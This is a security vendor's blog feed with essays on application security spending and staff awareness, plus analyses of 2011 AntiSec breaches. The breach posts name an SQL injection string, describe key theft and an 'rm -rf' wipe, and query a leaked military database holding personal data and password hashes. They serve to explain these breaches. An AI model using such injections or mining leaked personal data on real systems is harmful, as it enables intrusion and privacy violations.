			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-4227" title="lowbudget" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/lowbudget.jpg" alt="" width="200" height="300" />If you’ve heard it once you’ve probably heard it a thousand times: <em>time to market is critical</em>. Indeed, when it comes to software development, many business executives, marketers, product managers and sales weasels live and breathe by this mantra. Just get it out the door and we’ll fix the stuff that needs fixing later.</p>
<p>We’ve all experienced this scenario in some capacity. And we’ve seen what can happen. Security suffers, data breaches occur, executives get bent out of shape and perhaps some heads roll. In a classic case of saving face, the stakeholders in management predictably ask “How in the world did this happen!?” and will often go on to proclaim “We can’t let this happen again!” The cycle continues…</p>
<p>But you know what’s interesting? I’m not seeing this scenario as much these days. Instead of time to market holding back <a title="Web application security with Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Web application security</a>, it’s now <em>cost</em>. Always an underlying consideration, cost is now at the forefront of IT and application security. It’s driving virtually everything in business today. That’s fine. I understand the need to pick and choose where money goes. The problem is that it’s not going to security the way it needs to be.</p>
<p>Case in point: I just had a conversation with an acquaintance who’s a solutions architect at a Fortune 500 company. After telling him what I do for a living he sort of smirked and said “Yeah, we need to be heading towards <a title="Better application security" href="http://www.acunetix.com/blog/web-security-zone/articles/how-much-web-security-is-enough/">better application security</a> but instead we’re going in reverse.” He validated the very thing I’ve been seeing of late by telling me that it used to be that time to market was the excuse for poorly-written code but now it’s cost. He said plain and simple, that management just doesn’t want to spend the money that needs to be spent on application security.</p>
<p>Saying the cost is too high to spend money on application security highlights two core problems:</p>
<ol>
<li><a title="Staff improve security" href="http://www.acunetix.com/blog/web-security-zone/articles/how-employees-improve-web-security/">IT professionals</a> not doing enough to educate management on what’s at risk what there is to lose in the context of their unique business</li>
<li>Management choosing to ignore <a title="common application security oversights" href="http://www.acunetix.com/blog/web-security-zone/articles/verizon-data-breach/">the realities that we’re all facing with application security today</a></li>
</ol>
<p>Seeing how quickly businesses are going in the opposite direction with security in the software lifecycle begs the question: when <em>will</em> the right time come to spend money on security?  How many breaches? How many lawsuits? If <a title="Web application security testing" href="http://www.acunetix.com/blog/web-security-zone/articles/test-web-applications/">application security</a> were any other key business function, it’d get the visibility and attention it deserves. Management just doesn’t see it that way.</p>
<p>If you step back and look at this problem, it’s a chicken and egg situation. The mindset of “If we only had money to spend on application security, we could be more secure.” is like saying “If only that fire would put out some heat we’d throw some logs on it”. As with any capital investment or operational expenditure, application security is a <em>choice</em>. The money is there, it&#8217;s all in how it&#8217;s being spent. Cost is the current management excuse for not spending money on the testing, training and other things required for solid and secure software. It’s up to us in IT, information security and software development to change that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/web-development-security-risk/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Getting employees on your side to improve Web security</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/emplyees-improve-web-security/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/emplyees-improve-web-security/#comments</comments>
		<pubDate>Thu, 01 Sep 2011 14:38:10 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[employees]]></category>
		<category><![CDATA[enterprise]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[staff]]></category>
		<category><![CDATA[team]]></category>
		<category><![CDATA[user awareness]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3826</guid>
		<description><![CDATA[We often hear about &#8220;disgruntled workers&#8221; wreaking havoc on computer systems and sensitive information. Interestingly we never hear about what I call &#8220;gruntled workers&#8221; and how they can — and do — contribute to enterprise ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-4153" title="Your Security Employees" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/security-emplyees-150x150.jpg" alt="" width="150" height="150" />We often hear about &#8220;disgruntled workers&#8221; wreaking havoc on computer systems and sensitive information. Interestingly we never hear about what I call &#8220;<a href="http://securityonwheels.blogspot.com/2011/05/ever-heard-of-gruntled-workers.html" target="_blank">gruntled workers</a>&#8221; and how they can — and do — contribute to enterprise security.</p>
<p>Getting the attention of your employees and having them on your side can go a long way towards improving the security of your Web sites and applications. When people who are otherwise disconnected from IT get on board with security, they’ll often go out of their way to ensure they do what’s right. I’ve also seen employees go the extra mile to help people in IT and software development when they find security flaws in the systems they’re working on. Employees don’t want security to get in their way but they’re often willing to step out of their traditional roles and help contribute to <a title="Web Security" href="http://www.acunetix.com/vulnerability-scanner/" target="_blank">Web security</a> to make things better for the business.</p>
<p>On the other hand, if you do things with security that irritate your employees they’ll often do just the opposite by making your life miserable and putting your business at risk. Everyone loses.</p>
<p>Focus on the positive and you’ll reap what you sow. Here are some ways I’ve found to get employees on your side and minimize business risks:</p>
<ol>
<li>Make sure employees are in the know and completely understand what you’re trying to accomplish with <a title="Web Security" href="http://www.acunetix.com/vulnerability-scanner/">Web security</a>. Properly set expectations and priorities are half the battle.</li>
<li>Establish and build trust. This means leading by example to help influence your organization’s culture and show your users that you’re a person of value who’s not out to get them.</li>
<li>Ensure that employees who come up with ways to help prevent or minimize the effects of security breaches are properly acknowledged and rewarded.</li>
<li>Help management create ways to integrate IT and security user awareness training participation (and results) with employee reviews.</li>
</ol>
<p>These are things you as an IT or security professional can get started on today. I wouldn’t try to go it alone though. You really need management on board and ideally have a security committee consisting of representatives from HR, legal, operations, internal audit, IT, information security and physical security. A functional and well-run committee can help <em>tremendously</em> with visibility and accountability and improve overall <a title="How Much Web Security is Enough?" href="http://www.acunetix.com/blog/web-security-zone/articles/how-much-web-security-is-enough/" >Web security</a> way beyond what you could otherwise do by yourself.</p>
<p>Employees are everything to the business. View them as allies rather than the enemy. Once you get them on your side, you’ll build your credibility and everyone will surely benefit.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/emplyees-improve-web-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>US Police Servers Breached in New Anonymous Attack</title>
		<link>http://www.acunetix.com/blog/news/us-police-servers-breached-in-new-anonymous-attack/</link>
		<comments>http://www.acunetix.com/blog/news/us-police-servers-breached-in-new-anonymous-attack/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 15:02:52 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[anonymous hacking]]></category>
		<category><![CDATA[antisec hacking group]]></category>
		<category><![CDATA[United States Police servers hack]]></category>
		<category><![CDATA[US Police servers data breach]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3930</guid>
		<description><![CDATA[On the 31st of July 2011, the system administrator of Brooks-Jeffrey Marketing (BJM) was working on his newly upgraded servers. At exactly the same time a hacker was slowly sniffing his way through the same systems and ...]]></description>
			<content:encoded><![CDATA[<p><strong>On the 31st of July 2011, the system administrator of Brooks-Jeffrey Marketing (BJM) was working on his newly upgraded servers. At exactly the same time a hacker was slowly sniffing his way through the same systems and picking up everything in his tracks. The hacker had rooted the system so deeply that he was able to report to the system administrator that everything was normal.</strong></p>
<p><strong>BJM was not randomly attacked. The hackers chose their target because the servers contained the databases of 78 different law enforcement agencies scattered across America.</strong></p>
<h2><span id="more-3930"></span>Operation AntiSec</h2>
<p>&nbsp;</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/AntiSec2_top_1.jpg"><img class="alignleft size-full wp-image-3962" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/AntiSec2_top_1.jpg" alt="" width="216" height="144" /></a>BJM is one of many victims of the ongoing AntiSec cyber security operation headed by the two notorious hacking groups Anonymous and LulzSec, who teamed up to attack large organizations and major governments all over the world.</p>
<p>The armies of Operation AntiSec have a good track record. They recently smashed the cyber fortress of the <a title="Link to DoD security breach" href="http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/" target="_blank">US Department of Defence</a>. Now they have humiliated the local law enforcement agencies across all of America. In the past they brought PayPal down to it’s knees and have recently infiltrated the NATO and the UN Security Forces.</p>
<p>Their hit-list &#8211; and their army, is just getting bigger and bigger with no end in sight. In this last hack they announced:</p>
<blockquote><p>“GIVE UP. You are losing the cyberwar, and the attacks against the governments, militaries, and corporations of the world will continue to escalate. Hackers, join us to make 2011 the year of leaks and revolutions.”</p></blockquote>
<h2>What was stolen</h2>
<p>In all, 10GB of sensitive information was stolen from approximately 78 different law enforcement agencies.</p>
<p>This is a quick breakdown of the information they released:</p>
<ul>
<li>Private emails from 300 accounts</li>
<li>Over 7000 passwords, addresses, phones and social security numbers</li>
<li>Other server passwords for ftp/ssh, email, cpanel and protected directories</li>
<li>Source code and backups from the core servers</li>
</ul>
<p>The Missouri Sheriff’s Association who was worst hit tried, as usual, to downplay the hack. Their director Mick Covington said:</p>
<blockquote><p>“the most the hackers got from their organization were email addresses and there were no critical details like names, social security numbers or other personal information details on their server.”</p></blockquote>
<p>Whilst this was being said, Anonymous were using the stolen credit cards to make donations to the ACLU and Bradley Mining Support Network.</p>
<h2>How they did it</h2>
<p>The hacker got in by cleverly exploiting several classic vulnerabilities in the PHP driven website of the core server. The sections below outline the most prominent of these vulnerabilities, one of which I suspect is a backdoor planted by the hackers themselves. This backdoor is significant because it allowed the hackers to keep coming back for more even though the servers were upgraded multiple times in an effort to ward off the hackers.</p>
<h3>SQL Injection</h3>
<p>In the code below we see a classic<strong> &#8216; OR &#8216;a&#8217;='a</strong> injection. The user-supplied data taken from <strong>$_GET[‘username’]</strong> is not validated for SQL Injection attacks. This allows the hacker to use <strong>$username</strong> and <strong>$password</strong> to manipulate the SQL query.</p>
<p><img class="size-full wp-image-3934 alignnone" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s1.sqlinjection.png" alt="" width="453" height="144" /></p>
<p>If you are interested in learning more about SQL Injection attacks you should watch this excellent <a title="SQL Injection Tutorial Video" href="http://youtu.be/qELByGfNJSE" target="_blank">SQL Injection Video Tutorial</a>.</p>
<h3>Shell Injection</h3>
<p>Shell Injection attacks were discovered eons ago &#8211; long before SQL Injections existed, yet they remain scattered around bad source code like old war mines. When trampled upon they cause much damage.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s2a.shellinjection1.png"><img class="size-full wp-image-3935 alignnone" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s2a.shellinjection1.png" alt="" width="429" height="122" /></a></p>
<p>In the screen shot above the variable <strong>$query</strong> which could have unvalidated user-input could also be used to inject shell commands directly to the server with dramatic effects.</p>
<h3>Source Code Injection</h3>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s3.sourcecodeinjection.png"><img class="size-full wp-image-3936 alignnone" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s3.sourcecodeinjection.png" alt="" width="281" height="99" /></a></p>
<p>This Souce Code Injection is one of a kind. I have never seen something like this before. These lines of code actually allow a hacker to append his own files into the server script. This type of security flaw is so unlikely that this could actually be the backdoor that AntiSec were boasting about in their press release.</p>
<h3>Hardcoded passwords</h3>
<p>The server was heavily fortified with industry standard encryption, and long passwords and secret keys, yet the hacker managed to decrypt every password and unlock every vault. They did this by scavenging the code for lost keys.</p>
<p>They found plenty.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4c.hardcodedpassword.png"><img class="alignnone size-full wp-image-3937" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4c.hardcodedpassword.png" alt="" width="175" height="151" /></a></p>
<p>The code above holds the key to SQL Databases Administration privileges, and in the one below the password is shown just below a warning about hardcoding passwords.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4d.hardcodedpassword2.png"><img class="alignnone size-full wp-image-3939" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4d.hardcodedpassword2.png" alt="" width="415" height="180" /></a></p>
<p>A chain is as strong as its weakest link. RSA encryption is said to be uncrackable, unless you own the private keys. Private keys are ideally not placed on a public server, and if they are they should be encrypted with another key, stored on another server. In this case, the RSA keys were stolen with a simple shell command.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4e.privatekeys.png"><img class="alignnone size-full wp-image-3940" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s4e.privatekeys.png" alt="" width="328" height="260" /></a></p>
<h3>SQL Dump</h3>
<p>Now that the hacker had all the keys, he could take a quick dump &#8211; of the mySQL server of course.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s5.mysqldump.png"><img class="alignnone size-full wp-image-3941" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s5.mysqldump.png" alt="" width="411" height="98" /></a></p>
<h3>Next Target</h3>
<p>The hacker now has the entire database and hoards of usernames and passwords. This might seem like the end, but there is much more to come. In his logs, the hacker reveals how he reads the IP addresses of servers for the different jails across America that were connected to this rooted server.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9a.jailips.png"><img class="alignnone size-full wp-image-3942" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9a.jailips.png" alt="" width="356" height="167" /></a></p>
<p>What starts out as a website defacement quickly becomes a security breach of terrorising proportions. The hacker now knows the IP address of the other jails, but he also uncovers source code that works with the jail database. The code below, for example sets the release date for an inmate.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9b.releaseinmate.png"><img class="alignnone size-full wp-image-3943" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s9b.releaseinmate.png" alt="" width="386" height="109" /></a></p>
<p>The hacker now moves to the next server in line and methodically repeats the whole process again.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s11.nextbox.png"><img class="alignnone size-full wp-image-3944" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s11.nextbox.png" alt="" width="337" height="223" /></a></p>
<h3>First Dump, then Wipe</h3>
<p>&nbsp;</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s12.removetraces.png"><img class="alignnone size-full wp-image-3945" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/s12.removetraces.png" alt="" width="423" height="188" /></a></p>
<p>Once the hacker has slurped every bit of information off the servers he proceeds to do some cleanup. He destroys all the data on all over the servers using the <strong>rm -rf</strong>  command. With this command he is literally deleting all of the 78 law enforcement websites.</p>
<h2>Conclusions</h2>
<p>The BJMs servers were plagued with the worst security issues. A “script kiddie” could have managed to break in if he was determined enough. In this case the hacker was certainly very skilled. He executed every command with precision and for maximum damage. He did not linger too long, raped the servers completely and wiped all evidence before he left. This is the job of a specialist.</p>
<p>Operation AntiSec is starting to show just how vulnerable the web really is. Simple programming errors that are hard to detect can lead to a complete system compromise. In this particular case the hacker enjoyed picking at the so called “low hanging fruit”. A web vulnerability scan and good code review on troubled areas could have easily avoided such a devastating high-profile breach.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/us-police-servers-breached-in-new-anonymous-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anonymous hack US Department of Defence &#8211; Analysis of the Attack</title>
		<link>http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/</link>
		<comments>http://www.acunetix.com/blog/news/anonymous-hack-us-department-of-defence-analysis/#comments</comments>
		<pubDate>Thu, 04 Aug 2011 13:34:51 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[anonymous hacking group]]></category>
		<category><![CDATA[slq injection attack]]></category>
		<category><![CDATA[US government hacktivism]]></category>
		<category><![CDATA[US military defence data breach]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3840</guid>
		<description><![CDATA[On the 12th of July 2011, Booz Allen Hamilton the largest U.S. military defence contractor admitted that they had just suffered a very serious security breach, at the hands of hacktivist group AntiSec.
Operation Anti-Security (AntiSec) is a ...]]></description>
			<content:encoded><![CDATA[<p><strong>On the 12th of July 2011, Booz Allen Hamilton the largest U.S. military defence contractor admitted that they had just suffered a very serious security breach, at the hands of hacktivist group AntiSec.</strong></p>
<p><strong>Operation Anti-Security (AntiSec) is a hacking operation, carried out by two of the biggest names in the black-hat world – Anonymous, and LulzSec. They claim to target government corruption around the world. After hacking the servers of the Serious Organised Crime Agency in the UK, they turned their attention to the Arizona Department of Public Safety, releasing three separate caches of information.</strong></p>
<p><span id="more-3840"></span></p>
<p><strong>The hacktivist group has also attacked the U.S. Department of Homeland Security, the Brazilian government, the Tunisian government, the government of Zimbabwe, and many others. Most recently, the Anonymous branch of Operation AntiSec breached the servers of NATO, stealing around a gigabyte of data. They claimed that the information was so sensitive that they are not going to release all of it, claiming that it would be &#8220;irresponsible&#8221;.</strong></p>
<h1>What Was Stolen</h1>
<p>Dubbed &#8220;Military Meltdown Monday&#8221;, AntiSec claims to have stolen around 90,000 military email addresses, along with hashed passwords. These were saved into a highly compressed SQL dump, for easy downloading from The Pirate Bay (TPB).</p>
<p>The group, making the announcement using distinctly pirate-themed language, mentioned that they also found &#8220;maps and keys for various other treasure chests buried on the islands of government agencies, federal contractors and shady whitehat companies&#8221;.</p>
<p>The consulting agency has a policy of not commenting on leaks or attacks on its systems. However, a spokesman for the Department of Defence has indeed confirmed the attack, and has claimed that they are working together with Booz Allen Hamilton to investigate the extent and implications of this &#8220;disgraceful event&#8221;.</p>
<p>Booz Allen Hamilton tried their best to downplay the breach. In a press release after the attack they said, “At this time, we do not believe that the attack extended beyond data pertaining to a learning management system for a government agency.”</p>
<p>Jim Lewis, a cyber security expert with the Center for Strategic and International Affairs, echoed these thoughts when he said &#8220;I&#8217;m not sure it&#8217;s a big deal, they say they got lots of email addresses? Sounds like a scavenger hunt more than a hack.&#8221;</p>
<p>Booz Allen and Jim Lewis, I have some terrible news for you. This breach went beyond email addresses, this is not a scavenger hunt and the breach was not confined to your learning management system.</p>
<p>Read the next few sections of this article to understand the scope of the attack, gain insight into how it was performed and take a peek inside the stolen data.</p>
<h1>How they did it</h1>
<p>The hacking group did not tell us exactly how the hack was executed, however they did mention that their entry point was an <a title="SQL Injection web vulnerability" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection attack</a>. They managed to dump the entire database into a text file which means that they probably also gained root access to the systems. This theory is further enforced by the fact that they found and stole other files, including source code and some emails. This type of data is not normally siphoned off using SQL Injection but is the indication of a deeper penetration.</p>
<p>The security measures on the affected system did not impress AntiSec. Their description of the security goes like this, “&#8230;we found their vessel being a puny wooden barge. We infiltrated a server on their network that basically had no security measures in place&#8221;.</p>
<p>This statement is outright embarrassing for Booz Allen who claim that they offer “robust cyber security solutions”. They also state on their website that “cyber security cannot be treated as an afterthought.”</p>
<p>AntiSec enclosed an ‘invoice’ for the security audit:</p>
<blockquote><p><em>“Enclosed is the invoice for our audit of your security systems, as well as the  auditor&#8217;s conclusion.</em></p>
<p><em>4 hours of man power: $40.00</em><br />
<em> Network auditing: $35.00</em><br />
<em> Web-app auditing: $35.00</em><br />
<em> Network infiltration: $0.00</em><br />
<em> Password and SQL dumping: $200.00</em><br />
<em> Decryption of data: $0.00</em><br />
<em> Media and press: $0.00</em></p>
<p><em>Total bill: $310.00”</em></p></blockquote>
<p>Although they were probably just trying to be funny, some information can be elicited from this. First of all, it seems that the hack took four hours and was kicked off by a network audit, followed by an audit on the web applications. The web application audit is probably what caught the SQL Injection vulnerability in the first place. Network infiltration followed and an SQL dump was then taken. Prices in this invoice are an indication of how much effort was involved in each of the activities.</p>
<h1>Data analysis</h1>
<p>To understand the scope of the hack I decided to mount the SQL dump onto my database system and perform some analysis. The database is nearly a gigabyte in size and contains over 600 tables. Sifting through this database took time and patience, however I think I have uncovered a lot of juicy information that I would like to share with you.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/dbtables.png"><img class="aligncenter size-full wp-image-3857" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/dbtables.png" alt="" width="498" height="399" /></a></p>
<p>&nbsp;</p>
<p>So what are we dealing with here? The table <strong>login_text</strong> gives some context. It contains the message that is displayed when users log into the system. This text reveals the exact usage of this database. Here is an extract:</p>
<blockquote><p>mysql&gt; select TEXT from login_text;</p>
<p>“WELCOME TO THE JOINT KNOWLEDGE DEVELOPMENT AND DISTRIBUTION CAPABILITY (JKDDC) JOINT KNOWLEDGE ONLINE (JKO) PUBLIC PORTAL/LEARNING MANAGEMENT SYSTEM, A DEFENSE DEPARTMENT RESOURCE ADDRESSING INDIVIDUAL TRAINING NEEDS VIA DISTANCE LEARNING”</p></blockquote>
<p>From this text we learn that we are dealing with the U.S Department of Defence distance learning programme. The login text continues:</p>
<blockquote><p>“&#8230;the JKO portal provides access to Instant Messaging, Communities of Interest, and other Joint resources.  To obtain a JKO portal account, please visit the JKO public site&#8230;”</p></blockquote>
<p>With this we can see that the database is not only used as a Learning Management System, but also as a portal for other resources, an Instant Messaging service and also an Online Community.</p>
<p>The text also reveals two other public learning resources which are quite possibly also vulnerable to the same attack as this one. They are:</p>
<ul>
<li>https://jkolms.cmil.org/html/user/RedirectApplication.jsp</li>
<li>http://www.usfk.mil/webtraining/</li>
</ul>
<p>Another interesting note is this:</p>
<blockquote><p>“U.S. Department of Defense Students &#8211; Please ensure you include your Social Security Number (SSN) when registering for an account with the JKO LMS&#8230;”</p></blockquote>
<p><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif;font-size: 13px;line-height: 19px">This statement leads me to the next stage of the investigation &#8211; what personal user information can be gathered from this stolen database?</span></p>
<p>The tables that will answer this question are:<strong> user, user_extension, address, phone and user_email.</strong></p>
<p>A few SQL queries will reveal all.</p>
<p>The user table is my starting point.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/users.png"><img class="aligncenter size-full wp-image-3871" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/users.png" alt="" width="580" height="305" /></a></p>
<p>The <strong>users</strong> table contains a lot of information including the date of birth, gender and social security number. After browsing the data I can see that most of the social security numbers are invalid and the user first and last names are not used. We can also see some system users such as SYSADMIN. These users have a strange social security number that sort of looks like a passsword, however I cannot tell for sure.</p>
<p>There are over 74,000 users in this table. Most of the entries were created in August 2010, however some records indicate that this database dates back to early 2008. One record was modified in March 2011 meaning that this database was being used until recently.</p>
<p>So, where are these users from? The <strong>address</strong> table should give us that information.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/addresses.png"><img class="aligncenter size-full wp-image-3870" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/addresses.png" alt="" width="555" height="300" /></a><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/countries.png"><br />
</a></p>
<p>The <strong>address</strong> table is ripe with information. It gives full addresses for every user on the system. Interesting to note how many countries there are. I counted 89 distinct countries using the following SQL command:</p>
<blockquote><p>SELECT distinct `COUNTRY_CD` FROM `address` order by country_cd asc</p></blockquote>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/countries.png"><img class="aligncenter size-full wp-image-3869" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/countries.png" alt="" width="360" height="415" /></a>The <strong>phone</strong> table seems to have valid phone numbers linked to the user ID. It however only contains only 350 records, most of which date back to 2007, so they are probably old records from a previous version of the database.</p>
<p>The <strong>user_extension</strong> table contains a promising 70,500 records, however it also fails to reveal anything interesting apart from email addresses lost in a sea of NULLs.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/user_extension.png"><img class="aligncenter size-full wp-image-3868" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/user_extension.png" alt="" width="562" height="161" /></a></p>
<p>Another interesting table is the one called <strong>email_address</strong>. The table contains 84,000 records, however some of them are listed as “NOEMAIL@JFCOM.MIL”. When this email address is filered out I am left with 69,000 unique email addresses. These can be linked to the mailing addresses making them a very nice data set for spammers, scammers and phishers.</p>
<p>Here is my output:</p>
<blockquote><p>SELECT USER_ID, EMAIL_ADDRESS, CREATED_DATE FROM `email_address` Where email_address &lt;&gt; &#8216;NOEMAIL@JFCOM.MIL&#8217; GROUP BY EMAIL_ADDRESS ORDER BY CREATED_DATE DESC</p></blockquote>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/emails.png"><img class="aligncenter size-full wp-image-3867" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/emails.png" alt="" width="545" height="359" /></a></p>
<p>Most of this data comes from military sites, however there are a few personal or company email addresses too. Interestingly the full name of the person is peresent in his email address. The bar chart below shows how the majority of email addresses are distributed over top-level domains.</p>
<p style="text-align: left"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/chart_1.png"><img class="aligncenter size-full wp-image-3886" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/chart_1.png" alt="" width="540" height="334" /></a>So far I have data mined personal information for more than seventy thousand military personell, however the group AntiSec mentioned a ‘treasure trove’ of information that will enable them to penetrate further into other miliary networks. I scavenged the database for these nuggets, here is what I found.</p>
<p style="text-align: left">The <strong>password</strong> table contains 155,000 records containg the password of all the users in the database. Many users use the same passwords on multiple sites, so this information could be a very big asset for potential attacks on the users and their organizations. You can see a screen shot of the passwords here:</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password.png"><img class="aligncenter size-full wp-image-3866" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password.png" alt="" width="465" height="288" /></a></p>
<p>The password is reportedly in this format: <strong>base64(sha1(password))</strong>. If this is really the case, then all passwords could be revealed by brute-force. This can take some time for the strongest passwords, however Anonymous have already solicited the help of the public by providing the files for download in an easy format, and giving a link to the associated email addresses. Furthermore, I also noticed many duplicate passwords, this is an indication that password salting is not taking place. Salting is a technique used to slow down brute-force attacks on hashes.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password_nosalt.png"><img class="aligncenter size-full wp-image-3865" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/password_nosalt.png" alt="" width="440" height="246" /></a></p>
<p>One very interesting table is the <strong>activity_log</strong>. This table logs activity of online users and contains informartion such as the IP address of the user and his user-agent, which reveals the operating system and web browser that he is using. This information makes targeted attacks much more probable.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/logins1.png"><img class="aligncenter size-full wp-image-3864" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/logins1.png" alt="" width="536" height="331" /></a></p>
<p>As you can see, some of these IP addresses are internal addresses, some logins also appear to be from the local machine. Logins are as recent as April 2011, meaning that the password list is very ‘fresh’. The browser and operating system are also valuable information to a hacker. It’s disheartenining to see so many Internet Explorer browsers in use.</p>
<p>Some other public IP addresses are also owned by Booz Allen themselves:</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/booz_ip.png"><img class="aligncenter size-full wp-image-3862" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/booz_ip.png" alt="" width="538" height="60" /></a></p>
<p>In all, I counted over 47,000 unique IP addresses using the following SQL command:</p>
<blockquote><p>SELECT COUNT( DISTINCT ip_address ) FROM `activity_log`</p></blockquote>
<p>Other IP addresses are coming from all over the place. I picked a handful and found them to come from diffrerent DoD agencies distributed across America.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/ipaddresses.png"><img class="aligncenter size-full wp-image-3861" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/ipaddresses.png" alt="" width="566" height="206" /></a></p>
<p>Apart from personell information, I was also able to find other data in some miscellaneous tables. This data can all be used for further hacking into the government’s networks.</p>
<p>The table <strong>application_owner</strong> lists the possible next targets from AntiSec, as these are all contributors to the LMS.</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/agencies.png"><img class="aligncenter size-full wp-image-3860" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/agencies.png" alt="" width="520" height="379" /></a></p>
<p>Some more organizations can be gleaned from the table <strong>mil_quota_source_node</strong>. A total of 134 different agencies can be identified from this table.</p>
<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/moreagencies.png"><img class="aligncenter size-full wp-image-3859" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/moreagencies.png" alt="" width="423" height="677" /></a></p>
<p>Finally, I look at the system <strong>user</strong> table where I find a few more juicy bits. Hosts, usernames and hashed passwords which appear to be unsalted (notice same hash is listed twice.)</p>
<p style="text-align: center"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/08/systemusers.png"><img class="aligncenter size-full wp-image-3858" src="http://www.acunetix.com/blog/wp-content/uploads/2011/08/systemusers.png" alt="" width="521" height="251" /></a></p>
<p><span class="Apple-style-span" style="font-size: 26px;font-weight: bold">Verdict</span></p>
<p>I set out on this investigation to determine whether AntiSec was just bluffing, and whether Booz Allen were right to downplay the incident. My initial hunch was that a bunch of teenagers were making the headlines again because of some silly data that they managed to scrape off some ageing website. I could have not been more far off from the truth.</p>
